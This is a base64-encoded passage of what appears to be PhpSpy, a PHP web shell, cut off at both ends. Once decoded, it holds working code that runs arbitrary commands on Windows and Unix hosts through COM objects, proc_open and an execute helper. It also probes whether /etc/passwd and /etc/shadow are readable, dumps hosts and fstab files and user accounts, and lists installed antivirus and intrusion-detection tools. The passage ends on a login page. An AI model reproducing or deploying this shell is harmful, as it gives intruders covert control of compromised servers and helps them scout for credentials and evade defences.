ltZSksJ3NpemUnPT4yKSk7CglwKCdzZWNvbmQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3RlcigpOwoJZ29iYWNrKCk7Cn0vL2VuZCBuZXd0aW1lCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NoZWxsJykgewoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQlpZigkcHJvZ3JhbSAmJiAkcGFyYW1ldGVyKSB7CgkJCSRzaGVsbD0gbmV3IENPTSgnU2hlbGwuQXBwbGljYXRpb24nKTsKCQkJJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsKCQkJbSgnUHJvZ3JhbSBydW4gaGFzICcuKCEkYSA/ICdzdWNjZXNzJyA6ICdmYWlsJykpOwoJCX0KCQkhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsKCQkhJHBhcmFtZXRlciAmJiAkcGFyYW1ldGVyID0gJy9jIG5ldCBzdGFydCA+ICcuU0FfUk9PVC4nbG9nLnR4dCc7CgkJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgUHJvZ3JhbScpKTsKCQltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsKCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1Byb2dyYW0nLCduYW1lJz0+J3Byb2dyYW0nLCd2YWx1ZSc9PiRwcm9ncmFtLCduZXdsaW5lJz0+MSkpOwoJCXAoJzxwPicpOwoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsKCQltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7CgkJcCgnPC9wPicpOwoJCWZvcm1mb290KCk7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBDb21tYW5kJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7CglpZiAoSVNfV0lOICYmIElTX0NPTSkgewoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3JpcHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsKCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsKCX0KCXAoJzxwPicpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9Pidjb21tYW5kJywndmFsdWUnPT5odG1sc3BlY2lhbGNoYXJzKCRjb21tYW5kKSkpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKCglpZiAoJGNvbW1hbmQpIHsKCQlwKCc8aHIgd2lkdGg9IjEwMCUiIG5vc2hhZGUgLz48cHJlPicpOwoJCWlmICgkZXhlY2Z1bmM9PSd3c2NyaXB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7CgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CgkJCSRleGVjID0gJHdzaC0+ZXhlYygnY21kLmV4ZSAvYyAnLiRjb21tYW5kKTsKCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsKCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKCQkJZWNobyAkc3Ryb3V0cHV0OwoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSdwcm9jX29wZW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsKCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCgkJCSAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLAoJCQkgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykKCQkJKTsKCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOwoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAkY29tbWFuZC4iXHJcbiIpOwoJCQkJZndyaXRlKCRwaXBlc1swXSwgImV4aXRcclxuIik7CgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsKCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMV0pKSB7CgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOwoJCQkJfQoJCQkJZmNsb3NlKCRwaXBlc1sxXSk7CgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgewoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsKCQkJCX0KCQkJCWZjbG9zZSgkcGlwZXNbMl0pOwoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7CgkJCX0KCQl9IGVsc2UgewoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsKCQl9CgkJcCgnPC9wcmU+Jyk7Cgl9Cn0vL2VuZCBzaGVsbAoKZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7CgkkdXBzaXplPWdldGNmZygnZmlsZV91cGxvYWRzJykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dlZCc7CgkkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsKCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsJCgkkaW5mbyA9IGFycmF5KAoJCTEgPT4gYXJyYXkoJ1NlcnZlciBUaW1lJyxkYXRlKCdZL20vZCBoOmk6cycsJHRpbWVzdGFtcCkpLAoJCTIgPT4gYXJyYXkoJ1NlcnZlciBEb21haW4nLCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSwKCQkzID0+IGFycmF5KCdTZXJ2ZXIgSVAnLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwKCQk0ID0+IGFycmF5KCdTZXJ2ZXIgT1MnLFBIUF9PUyksCgkJNSA9PiBhcnJheSgnU2VydmVyIE9TIENoYXJzZXQnLCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSwKCQk2ID0+IGFycmF5KCdTZXJ2ZXIgU29mdHdhcmUnLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksCgkJNyA9PiBhcnJheSgnU2VydmVyIFdlYiBQb3J0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksCgkJOCA9PiBhcnJheSgnUEhQIHJ1biBtb2RlJyxzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkpLAoJCTkgPT4gYXJyYXkoJ1RoZSBmaWxlIHBhdGgnLF9fRklMRV9fKSwKCgkJMTAgPT4gYXJyYXkoJ1BIUCBWZXJzaW9uJyxQSFBfVkVSU0lPTiksCgkJMTEgPT4gYXJyYXkoJ1BIUElORk8nLChJU19QSFBJTkZPID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZyhcJ3BocGluZm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwKCQkxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwKCQkxMyA9PiBhcnJheSgnT3BlblNTTCcsKCFmdW5jdGlvbl9leGlzdHMoImV4dGVuc2lvbl9sb2FkZWQiKQl8fCAhZXh0ZW5zaW9uX2xvYWRlZCgib3BlbnNzbCIpID8gJ05vJyA6ICdZZXMnKSksCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9wZW4nKSksCgkJMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksCgkJMTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLAoJCTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMnKSksCgkJMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwKCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwKCQkyMCA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykpLAoJCTIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwKCQkyMiA9PiBhcnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicgc2Vjb25kKHMpJyksCgkJMjMgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJywkZGlzX2Z1bmMpLAoJKTsKCglpZigkcGhwdmFybmFtZSkgewoJCW0oJHBocHZhcm5hbWUgLicgOiAnLmdldGNmZygkcGhwdmFybmFtZSkpOwoJfQoKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXJ2ZXIgZW52aXJvbm1lbnQnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBpbnB1dCBQSFAgY29uZmlndXJhdGlvbiBwYXJhbWV0ZXIoZWc6bWFnaWNfcXVvdGVzX2dwYyknLCduYW1lJz0+J3BocHZhcm5hbWUnLCd2YWx1ZSc9PiRwaHB2YXJuYW1lLCduZXdsaW5lJz0+MSkpOwoJZm9ybWZvb3RlcigpOwoKCSRocCA9IGFycmF5KDA9PiAnU2VydmVyJywgMT0+ICdQSFAnKTsKCWZvcigkYT0wOyRhPDI7JGErKykgewoJCXAoJzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsKCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOwoJCWlmICgkYT09MCkgewoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7CgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7CgkJCX0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgewoJCQlmb3IoJGk9MTA7JGk8PTIzOyRpKyspIHsKCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsKCQkJfQoJCX0KCQlwKCc8L3VsPicpOwoJfQp9Ly9lbmQgcGhwZW52CgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NlY2luZm8nKSB7CgkKCXNlY3BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7CglzZWNwYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICgkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSk/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsKCXNlY3BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKCXNlY3BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOwoJc2VjcGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7CglzZWNwYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7CgkkdGVtcD1hcnJheSgpOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkKCQkkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiTVNTUUwiOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCgkJJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIk9yYWNsZSI7CglzZWNwYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsKCQoJaWYoICFJU19XSU4gKSB7CgkJJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CgkJJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7CgkJJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CgkJc2VjcGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpID8gInllcyIgOiAnbm8nKTsKCQlzZWNwYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9ldGMvc2hhZG93JykgPyAieWVzIiA6ICdubycpOwoJCXNlY3BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOwoJCXNlY3BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsKCQkkc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwoJCWlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKCQkJJHRlbXA9YXJyYXkoKTsKCQkJZm9yZWFjaCAoJHVzZXJmdWwgYXMgJGl0ZW0pCgkJCQlpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQoJCQlzZWNwYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOwoJCQkkdGVtcD1hcnJheSgpOwoJCQlmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQoJCQkJaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KCQkJc2VjcGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwoJCQkkdGVtcD1hcnJheSgpOwoJCQlmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIAoJCQkJaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KCQkJc2VjcGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CgkJCXNlY3BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsKCQkJc2VjcGFyYW0oJ0hERCBzcGFjZScsIGV4ZWN1dGUoJ2RmIC1oJykpOwoJCQlzZWNwYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9mc3RhYicpKTsKCQl9Cgl9IGVsc2UgewoJCXNlY3BhcmFtKCdPUyBWZXJzaW9uJyxleGVjdXRlKCd2ZXInKSk7CgkJc2VjcGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLGV4ZWN1dGUoJ25ldCBhY2NvdW50cycpKTsKCQlzZWNwYXJhbSgnVXNlciBBY2NvdW50cycsZXhlY3V0ZSgnbmV0IHVzZXInKSk7CgkJc2VjcGFyYW0oJ0lQIENvbmZpZ3VyYXRlJyxleGVjdXRlKCdpcGNvbmZpZyAtYWxsJykpOwoJfQp9Ly9lbmQKCmVsc2UgewoJbSgnVW5kZWZpbmVkIEFjdGlvbicpOwp9Cgo/Pgo8L3RkPjwvdHI+PC90YWJsZT4KPGRpdiBzdHlsZT0icGFkZGluZzoxMHB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNmZmY7Ym9yZGVyLXRvcDoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNlZWU7Ij4KCTxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPgoJUG93ZXJlZCBieSA8YSB0aXRsZT0iQnVpbGQgMjAxMTA1MDIiIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0IiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1AuaC5wLlMucC55Jyk7Pz4gMjAxMTwvYT4uIENvcHlyaWdodCAoQykgMjAwNC0yMDExIDxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0IiB0YXJnZXQ9Il9ibGFuayI+U2VjdXJpdHkgQW5nZWwgVGVhbSBbUzRUXTwvYT4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4KPC9kaXY+CjwvYm9keT4KPC9odG1sPgoKPD9waHAKCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Cj/vv71iPwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0qLwoKZnVuY3Rpb24gc2VjcGFyYW0oJG4sICR2KSB7CgkkdiA9IHRyaW0oJHYpOwoJaWYoJHYpIHsKCQlwKCc8aDI+Jy4kbi4nICZyYXF1bzs8L2gyPicpOwoJCXAoJzxkaXYgY2xhc3M9ImluZm9saXN0Ij4nKTsKCQlpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkKCQkJcCgkdi4nPGJyIC8+Jyk7CgkJZWxzZQoJCQlwKCc8cHJlPicuJHYuJzwvcHJlPicpOwoJCXAoJzwvZGl2PicpOwoJfQp9CmZ1bmN0aW9uIG0oJG1zZykgewoJZWNobyAnPGRpdiBzdHlsZT0ibWFyZ2luOjEwcHggYXV0byAxNXB4IGF1dG87YmFja2dyb3VuZDojZmZmZmUwO2JvcmRlcjoxcHggc29saWQgI2U2ZGI1NTtwYWRkaW5nOjEwcHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOwoJZWNobyAkbXNnOwoJZWNobyAnPC9kaXY+JzsKfQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgewoJZ2xvYmFsICR0aW1lc3RhbXAsICRfU0VSVkVSLCAkY29va2llcHJlLCAkY29va2llZG9tYWluLCAkY29va2llcGF0aCwgJGNvb2tpZWxpZmU7Cgkka2V5ID0gKCRwcmVmaXggPyAkY29va2llcHJlIDogJycpLiRrZXk7CgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkY29va2llbGlmZTsKCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7CglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkY29va2llcGF0aCwgJGNvb2tpZWRvbWFpbiwgJHVzZXBvcnQpOwp9CQpmdW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2UsICR0YWJsZW5hbWUpIHsKCSRtdWx0aXBhZ2UgPSAnJzsKCWlmKCRudW0gPiAkcGVycGFnZSkgewoJCSRwYWdlID0gMTA7CgkJJG9mZnNldCA9IDU7CgkJJHBhZ2VzID0gQGNlaWwoJG51bSAvICRwZXJwYWdlKTsKCQlpZigkcGFnZSA+ICRwYWdlcykgewoJCQkkZnJvbSA9IDE7CgkJCSR0byA9ICRwYWdlczsKCQl9IGVsc2UgewoJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJG9mZnNldDsKCQkJJHRvID0gJGN1cnBhZ2UgKyAkcGFnZSAtICRvZmZzZXQgLSAxOwoJCQlpZigkZnJvbSA8IDEpIHsKCQkJCSR0byA9ICRjdXJwYWdlICsgMSAtICRmcm9tOwoJCQkJJGZyb20gPSAxOwoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsKCQkJCQkkdG8gPSAkcGFnZTsKCQkJCX0KCQkJfSBlbHNlaWYoJHRvID4gJHBhZ2VzKSB7CgkJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJHBhZ2VzICsgJHRvOwoJCQkJJHRvID0gJHBhZ2VzOwoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsKCQkJCQkkZnJvbSA9ICRwYWdlcyAtICRwYWdlICsgMTsKCQkJCX0KCQkJfQoJCX0KCQkkbXVsdGlwYWdlID0gKCRjdXJwYWdlIC0gJG9mZnNldCA+IDEgJiYgJHBhZ2VzID4gJHBhZ2UgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsIDEpOyI+Rmlyc3Q8L2E+ICcgOiAnJykuKCRjdXJwYWdlID4gMSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgLSAxKS4nKTsiPlByZXY8L2E+ICcgOiAnJyk7CgkJZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsgJGkrKykgewoJCQkkbXVsdGlwYWdlIC49ICRpID09ICRjdXJwYWdlID8gJGkuJyAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRpLicpOyI+WycuJGkuJ108L2E+ICc7CgkJfQoJCSRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2VzID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAnIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRwYWdlcy4nKTsiPkxhc3Q8L2E+JyA6ICcnKTsKCQkkbXVsdGlwYWdlID0gJG11bHRpcGFnZSA/ICc8cD5QYWdlczogJy4kbXVsdGlwYWdlLic8L3A+JyA6ICcnOwoJfQoJcmV0dXJuICRtdWx0aXBhZ2U7Cn0KLy8gPz8/PwpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7Cj8+Cgo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj5zcGFuLnVuZGVybGluZXt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO31zcGFuLm9yYW5nZXtjb2xvcjojQjNEMTY5O31zcGFuLnByb2plY3RfdHlwZXt0ZXh0LWFsaWduOnJpZ2h0fXNwYW4uZ3JleXtjb2xvcjojNjY2O30jbGlua3N7bGlzdC1zdHlsZS10eXBlOm5vbmU7cGFkZGluZzoyMHB4IDAgMCAwO3BhZGRpbmctbGVmdDoyMHB4O30jbGlua2xpc3QyICB0ZHtjb2xvcjojZmZmO2JhY2tncm91bmQ6IzE5MTkxOTt9I2xpbmtsaXN0MiB0ZDp2aXNpdGVke2NvbG9yOiM5OTk7fSNsaW5rbGlzdDIgdGQ6aG92ZXJ7YmFja2dyb3VuZDojQjNEMTY5O2NvbG9yOiMxOTE5MTk7fWJvZHksdHIsdGR7bWFyZ2luLXRvcDogNXB4O2JhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7Y29sb3I6ICNiNGE5YTk7Zm9udC1zaXplOiAxMnB4O1NDUk9MTEJBUi1GQUNFLUNPTE9SOiAjMjMyMzIzO3Njcm9sbGJhci1hcnJvdy1jb2xvcjogIzM4MzgzOTtzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjMzgzODM5O3Njcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjZGRkZGRkO3Njcm9sbGJhci1zaGFkb3ctY29sb3I6ICMyMzIzMjN9LnNie2N1cnNvcjogaGFuZH1pbnB1dCxzZWxlY3QsdGV4dGFyZWF7Ym9yZGVyLXRvcC13aWR0aDogMXB4O2ZvbnQtd2VpZ2h0OiBib2xkO2JvcmRlci1sZWZ0LXdpZHRoOiAxcHg7Zm9udC1zaXplOiAxMXB4O2JvcmRlci1sZWZ0LWNvbG9yOiAjZGRkZGRkO2JhY2tncm91bmQ6ICMwMDAwMDA7Ym9yZGVyLWJvdHRvbS13aWR0aDogMXB4O2JvcmRlci1ib3R0b20tY29sb3I6ICNkZGRkZGQ7Y29sb3I6ICNkZGRkZGQ7Ym9yZGVyLXRvcC1jb2xvcjogI2RkZGRkZDtmb250LWZhbWlseTogdmVyZGFuYTtib3JkZXItcmlnaHQtd2lkdGg6IDFweDtib3JkZXItcmlnaHQtY29sb3I6ICNkZGRkZGQ7fSNke2JhY2tncm91bmQ6ICMxMjEyMTI7cGFkZGluZy1sZWZ0OiA1cHg7cGFkZGluZy1yaWdodDogNXB4O2ZvbnQtY29sb3I6ICNmZmZ9cHJle2ZvbnQtc2l6ZTogMTFweDtmb250LWZhbWlseTogdmVyZGFuYTtjb2xvcjogI2RkZGRkZDt9aHJ7Y29sb3I6ICNkZGRkZGQ7YmFja2dyb3VuZC1jb2xvcjogI2RkZGRkZDtoZWlnaHQ6IDVweDt9I3h7Zm9udC1mYW1pbHk6IHZlcmRhbmE7Zm9udC1zaXplOiAxM3B4fWF7Y29sb3I6ICNmZmZmZmY7dGV4dC1kZWNvcmF0aW9uOiBub25lO30uYW17Y29sb3I6ICNiNGE5YTk7Zm9udC1zaXplOiAxMXB4O308L3N0eWxlPgoKPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMS4zLjIubWluLmpzJz48L3NjcmlwdD48c2NyaXB0PihmdW5jdGlvbigpeyQoJy50ZXN0cycpLmZhZGVPdXQoMjUwKS5mYWRlSW4oMjUwKTsgc2V0VGltZW91dChhcmd1bWVudHMuY2FsbGVlLDUwMCk7IH0pKCk7IGZ1bmN0aW9uIHRpKCl7c2V0VGltZW91dCgndGkoKScsMTAwKTt2YXIgdj0nIycrTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKjkwMDAwMCkudG9TdHJpbmcoKTtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaWQxJykuc3R5bGUuY29sb3I9djt9IHRpKCk7IGZ1bmN0aW9uIGtpbGxFcnJvcnMoKXtyZXR1cm4gdHJ1ZTt9d2luZG93Lm9uZXJyb3I9a2lsb